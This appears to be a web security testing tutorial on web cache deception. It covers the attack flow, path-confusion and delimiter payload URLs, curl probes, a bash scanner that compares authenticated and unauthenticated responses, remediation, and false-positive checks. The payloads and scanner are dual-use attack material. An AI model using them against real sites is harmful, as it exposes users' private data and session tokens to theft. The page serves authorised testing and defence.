10 min read

Web Cache Deception

Web cache deception tricks a caching server (CDN, reverse proxy) into storing an authenticated user's private response by appending a static file extension to a dynamic URL. Unlike cache poisoning (which modifies cached responses), cache deception makes the cache store responses it shouldn't cache at all.

Information

Cache Deception vs. Cache Poisoning: Cache poisoning injects malicious content into cache. Cache deception tricks the cache into storing legitimate private content that attackers can then access.

Warning

Cache deception requires the victim to visit an attacker-controlled URL. The attack is time-sensitive — cached content expires. Coordinate testing carefully.

Frameworks: WSTG n/a (post-4.2) · ASVS 5.0 V14.2.5 · CWE-524 · T1190

Three Conditions, All Required

A cache deception needs three things to be true at once. The cache decides what to store from the URL — usually an extension or a static-path rule. The origin decides what to serve from the path prefix and ignores the extra segment. And the authenticated response carries no directive telling the cache to keep it private. Where all three hold, a victim's page is stored under a URL anyone can request.

The direction of the artefact is what separates this from poisoning. Poisoning writes the attacker's content into the cache and serves it to other users; deception writes the victim's content into the cache and lets the attacker read it back. Poisoning needs a cache-key flaw, deception a classification flaw.

How Cache Deception Works

Attack Flow

  1. 1. Attacker crafts URL: https://target.com/account/profile/nonexistent.css
  2. 2. Victim (authenticated) clicks the link
  3. 3. Application ignores the file extension and returns the profile page (with PII, tokens)
  4. 4. CDN/cache sees the .css extension → caches the response as a static file
  5. 5. Attacker requests the same URL (unauthenticated) → receives the cached private content

Web Cache Deception Attack Flow

Cache poisoning vs cache deception

Both lanes end in the same shared cache but store opposite artefacts — poisoning caches the attacker's response for everyone else, deception caches the victim's private page for the attacker to read back.

Scroll sideways to see the whole diagram

Basic Cache Deception Attack

cache-deception-basic.sh
# Step 1: Find a page with private data
# e.g., /account/profile shows user's email, name, API keys

# Step 2: Append a cacheable extension
https://target.com/account/profile/anything.css
https://target.com/account/profile/x.js
https://target.com/account/profile/logo.png
https://target.com/account/profile/style.woff2

# Step 3: Check if the app still returns the profile page
# (Most frameworks ignore trailing path segments)
curl -v https://target.com/account/profile/test.css
# If the response contains private data → app is vulnerable

# Step 4: Check cache headers
# X-Cache: HIT → response was served from cache
# X-Cache: MISS → first request, being cached now
# Age: 120 → cached for 120 seconds
# Cache-Control: public → cache considers this cacheable

# Step 5: Send the URL to victim, then access it yourself
curl https://target.com/account/profile/test.css
# If you see the VICTIM's profile data → cache deception works

Run step 4 before involving a victim: request the extensioned URL twice and watch X-Cache move from MISS to HIT while Age grows. If the second response is a MISS again, the cache is not storing it — usually because Cache-Control says private, or the rule did not classify the path as static — and victim traffic will not change that.

Path Confusion Techniques

path-confusion-payloads.txt
# Path parameter injection:
https://target.com/account/profile;.css
https://target.com/account/profile%2f.css

# Encoded separators:
https://target.com/account/profile%23.css  # Fragment as separator
https://target.com/account/profile%3f.css  # Query as separator

# Double encoding:
https://target.com/account/profile%252f.css

# Null byte injection (legacy servers):
https://target.com/account/profile%00.css

# Directory traversal in path:
# curl squashes /static/../account/profile to /account/profile before it leaves
# the box, so send the dot segments literally: curl --path-as-is 'https://target.com/static/../account/profile'
https://target.com/static/../account/profile
# CDN sees /static/ path → caches it
# App normalizes to /account/profile → returns private page

# Multiple extensions:
https://target.com/account/profile.json.css
https://target.com/account/profile/..%2fprofile.css

The encoded forms test which layer normalises. A cache that treats %2f as part of a filename and an origin that decodes it to / disagree about the path, and that disagreement is the primitive. Send each candidate twice: a HIT on a path the origin treats as dynamic is the signal.

Cache-Rule Probing & Non-Extension Delimiters

Modern caches (and the 2024 PortSwigger cache-deception work) frequently classify a response as cacheable using a rule rather than a raw file extension. Probe the cache's own rule, and test delimiters that the origin treats as path separators but the cache ignores (or vice versa) — including newline %0a:

cache-rule-probe.sh
# Non-extension delimiters — origin and cache disagree on where the path ends:
https://target.com/account/profile%3B.css     # ; (Java/Tomcat matrix parameter)
https://target.com/account/profile%23.css     # # treated as path, not fragment
https://target.com/account/profile%3F.css     # ? inside the path
https://target.com/account/profile%0A.css     # newline delimiter
https://target.com/account/profile%2F.css     # encoded slash

# Cache-rule probing — find what the cache itself will store:
for p in x.css x.js x.woff x.css%0a; do
  curl -sI "https://target.com/account/profile/$p" \
    | grep -iE 'age|x-cache|cf-cache-status'
done
# A HIT or positive Age on a path the origin treats as dynamic is the tell.

# Confirm with a victim session, then replay unauthenticated:
curl -sI https://target.com/account/profile/test.css | grep -i cf-cache-status

The delimiter matters more than the extension now. ; is a matrix parameter to Tomcat and an ordinary character to many caches; %0a terminates the path in some parsers and is ignored in others. Probe until you find a pair that disagrees, then repeat it with a session cookie attached.

Automation Script

The scanner below is deliberately conservative. A 200 with a non-trivial body proves nothing: public pages return those too, and a shared cache can serve a logged-out copy to everyone. Deception is shown only when the unauthenticated body is identical to the authenticated one and the response carries a cache signal — Age, X-Cache, cf-cache-status. Public pages fail the first test because the victim's copy is not what gets stored; genuinely personalised pages fail it because the two bodies differ.

cache-deception-scan.sh
#!/bin/bash
# Web Cache Deception scanner — differential verdict
#
# A 200 with a non-trivial body proves nothing by itself: public pages do
# that too. Deception is only shown when the UNAUTHENTICATED response is
# byte-identical to the AUTHENTICATED one AND the cache reports the
# response as cached. Public pages never get stored for the victim, and
# genuinely personalised pages differ — both fail this test.

TARGET="https://target.com"
PATH_TO_TEST="/account/profile"
AUTH_COOKIE="session=VICTIM_SESSION"
EXTENSIONS=(css js png jpg gif ico svg woff woff2 pdf)

echo "[*] Testing Web Cache Deception on ${TARGET}${PATH_TO_TEST}"

for ext in "${EXTENSIONS[@]}"; do
  URL="${TARGET}${PATH_TO_TEST}/test.${ext}"

  # 1. Victim's authenticated request — the body that must not be shared
  curl -s -o auth.body -w '%{http_code}' -H "Cookie: ${AUTH_COOKIE}" "$URL" > auth.code

  # 2. Unauthenticated replay, capturing response headers
  curl -s -o anon.body -D anon.hdr -w '%{http_code}' "$URL" > anon.code

  # 3. Differential check: identical body PLUS an explicit cache signal
  if cmp -s auth.body anon.body && grep -qiE '^(age|x-cache|cf-cache-status):' anon.hdr; then
    echo "[+] CANDIDATE .${ext} (HTTP $(cat anon.code)) — unauthenticated body matches the authenticated body"
    grep -iE '^(age|x-cache|cf-cache-status):' anon.hdr
    echo "    ${URL}"
    echo "    Confirm the shared body carries victim-private data before reporting."
  else
    echo "[-] .${ext} — no differential hit (auth=$(cat auth.code) anon=$(cat anon.code))"
  fi
done

Treat a verdict as a candidate, not a finding. Confirm the shared body contains data that only that account should see, then stop — and do not leave a victim session in the cache longer than the test needs, because anyone who guesses the URL can read it.

Testing Checklist

  • ☐ 1. Find URLs returning private/authenticated content
  • ☐ 2. Append static extensions (.css, .js, .png) and check if the private content still returns
  • ☐ 3. Check for cache headers (X-Cache, Age, CF-Cache-Status)
  • ☐ 4. Make an authenticated request, then an unauthenticated request to the same URL
  • ☐ 5. If unauthenticated request returns private data → cache deception confirmed
  • ☐ 6. Test path confusion variants if basic extension appending fails
  • ☐ 7. Test API endpoints that return JSON (cache /api/user/me.css)
  • ☐ 8. Probe the cache's own static rule and test non-extension delimiters (%0a, %3b, %23)
  • ☐ 9. Confirm the same URL returns a HIT twice to an unauthenticated client before recruiting a victim
  • ☐ 10. Put a unique canary in the victim's profile so the shared body is provably theirs

Evidence Collection

Step 1 Screenshot: Authenticated request showing private data at the deceptive URL

Step 2 Screenshot: Unauthenticated request to same URL showing cached private data

Cache Headers: X-Cache: HIT showing the content was served from cache

Differential Pair: The authenticated and unauthenticated bodies, byte-compared, with their status codes and content lengths

Canary: The unique value planted in the victim's profile and the request that read it back unauthenticated

CVSS Range: PII exposure: 6.5–7.5 | Session token in cache: 8.1–9.1

Remediation

  • • Return 404 for invalid paths: If /account/profile/test.css is not a real resource, return 404 instead of the profile page.
  • • Set Cache-Control headers: Add Cache-Control: no-store, private to all authenticated responses.
  • • Cache key on cookies/auth: Configure CDN to vary cache on authentication state.
  • • Strict path matching: Configure the application to only respond to exact registered routes.
  • • Directive the response, not the route: Cache-Control: private, no-store must be on the authenticated response itself. A rule that keys off the URL pattern will miss the extensioned variant.
  • • Do not classify by suffix at the edge: Treat a dynamic prefix as dynamic whatever follows it, instead of letting a trailing .css override the route's own cache policy.

False Positive Identification

  • Cache serving static content: If the cached response only contains public/non-sensitive content, there's no deception even if caching occurs — verify the cached response includes PII, tokens, or session data.
  • Vary header handling: CDNs using Vary: Cookie effectively prevent deception — check if the cache key includes authentication-relevant headers.
  • Short TTL mitigation: Very short cache TTLs (seconds) significantly reduce exploitability — note TTL in your report but don't dismiss without checking race-condition feasibility.
  • A public page that happens to be cached: The differential passes trivially for a page that is identical for every visitor. If the body holds nothing that belongs to one account, the cache did its job correctly.
  • A HIT on a logged-out shell: Some caches store the logged-out version of a page and serve it to everyone. That is a HIT and looks dramatic, but no private data crossed the boundary — check the body for per-user values before calling it deception.

Cache Deception Practice

Practice path confusion and delimiter discrepancies against caching layers.

PortSwigger — Web Cache Deception Labs PortSwigger medium
Path confusionDelimiter discrepanciesStatic extension tricks